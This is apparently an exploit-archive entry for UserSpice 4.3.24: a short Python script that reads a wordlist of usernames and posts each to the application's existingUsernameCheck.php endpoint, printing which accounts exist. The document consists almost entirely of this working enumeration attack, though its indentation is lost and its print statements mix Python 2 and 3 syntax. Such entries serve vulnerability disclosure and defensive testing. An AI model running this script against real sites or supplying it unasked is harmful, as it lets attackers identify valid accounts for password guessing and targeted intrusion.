userSpice 4.3.24 Username Enumeration

`# Exploit Title: userSpice 4.3.24 - Username Enumeration  
# Date: 2018-06-10  
# Author: Dolev Farhi  
# Vendor or Software Link: www.userspice.com  
# Version: 4.3.24  
# Tested on: Ubuntu  
  
import sys  
import os.path  
import requests  
  
print("[+] UserSpice 4.3.24 Username Enumeration")  
  
if len(sys.argv) != 3:  
print 'Usage:', sys.argv[0], 'ip.add.re.ss', 'usernames.txt'  
sys.exit(1)  
  
if not os.path.exists(sys.argv[2]):  
print('usernames.txt does not exist')  
sys.exit(1)  
  
headers = {  
'Origin':'http://' + sys.argv[1],  
'X-Requested-With':'XMLHttpRequest'  
}  
  
print('Checking usernames...')  
  
f = open(sys.argv[2], 'r')  
  
for user in f:  
user = user.strip()  
req = requests.post('http://'+sys.argv[1]+'/users/parsers/existingUsernameCheck.php', headers=headers ,  
data={"username":user})  
if 'taken' in req.text:  
print('[FOUND] ' + user)  
else:  
print('[NOT FOUND] ' + user)  
  
  
`